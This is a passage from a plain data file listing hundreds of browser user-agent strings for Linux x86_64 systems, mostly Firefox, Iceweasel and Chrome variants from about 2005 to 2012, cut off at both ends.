U; Linux x64; en-US; rv:1.8.1.6) Gecko/20070723 Iceweasel/2.0.0.6 (Debian-2.0.0.6-1)\nMozilla/5.0 (X11; U; Linux x64; en-US; rv:1.8.1.7) Gecko/20070914 Iceweasel/2.0.0.7 (Debian-2.0.0.7-1)\nMozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86-64; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux x86; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Epiphany/2.30.6 Safari/534.7\nMozilla/5.0 (X11; U; Linux x86; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux x86; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/8.04 (hardy) Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; ca-ad) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.6\nMozilla/5.0 (X11; U; Linux x86_64; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) rekonq Safari/533.3\nMozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008112309 Iceweasel/3.0.4 (Debian-3.0.4-1)\nMozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7\nMozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9\nMozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2a2pre) Gecko/20090826 Namoroka/3.6a2pre\nMozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; de-AT; rv:1.7.8) Gecko/20050513 Debian/1.7.8-1\nMozilla/5.0 (X11; U; Linux x86_64; de-AT; rv:1.8.0.2) Gecko/20060422 Firefox/1.5.0.2\nMozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.9.2.17) Gecko/20110424 Lightning/1.0b2 Thunderbird/3.1.10\nMozilla/5.0 (X11; U; Linux x86_64; de-at) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux x86_64; de-de) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.1) Gecko/2006120502 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080129 Iceweasel/2.0.0.12 (Debian-2.0.0.12-1)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-6.1 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.16) Gecko/2009121609 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.19) Gecko/2012013123 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.03 [de]\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030810 Iceweasel/3.0.7 (Debian-3.0.7-1)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009031819 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.8) Gecko/2009032917 Gentoo Iceweasel/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.16) Gecko/20120131 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.6) Gecko/20091210 SUSE/2.0.1-1.1.1 SeaMonkey/2.0.1\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.17) Gecko/20110415 Ubuntu/10.10 (maverick) Namoroka/3.6.17\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3\nMozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux x86_64; en-AU) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IT\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009061208 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030719 GranParadiso/3.0.7 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009050519 iceweasel/2.0 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-2.el5 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; en-NZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Arora/0.11.0 Safari/533.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1333515017.9196\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416664997.4379\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416670950.695\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416748405.3871\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416758524.9051\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.1 Chrome/10.0.650.1 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Epiphany/2.30.6 Safari/534.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.10) Gecko/20050724 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051127 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051218 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20060202 CentOS/1.0.7-1.4.3.centos4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051201 Firefox/1.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051212 Firefox/1.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070718 Red Hat/1.5.0.12-3.el5 Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20080419 CentOS/1.5.0.12-0.15.el4.centos Firefox/1.5.0.12 pango-text\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.14eol) Gecko/20120628 CentOS/1.0.9-40.el4.centos SeaMonkey/1.0.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060522 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060911 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060911 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060924 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.8) Gecko/20061109 SeaMonkey/1.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-37 Firefox/2.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061122 Firefox/2.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061127 lolifox/0.3.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061128 Firefox/2.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061202 Firefox/2.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-4)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20070914 Mandriva/2.0.0.11-1.1mdv2008.0 (2008.0) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071128 Iceweasel/2.0.0.11 (Debian-2.0.0.11-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.8 (Debian-2.0.0.12-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080208 BonEcho/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080209 SeaMonkey/1.1.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080214 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.13) Gecko/20080208 Mandriva/2.0.0.13-1mdv2008.1 (2008.1) Firefox/2.0.0.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-2)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080702 Iceweasel/2.0.0.16 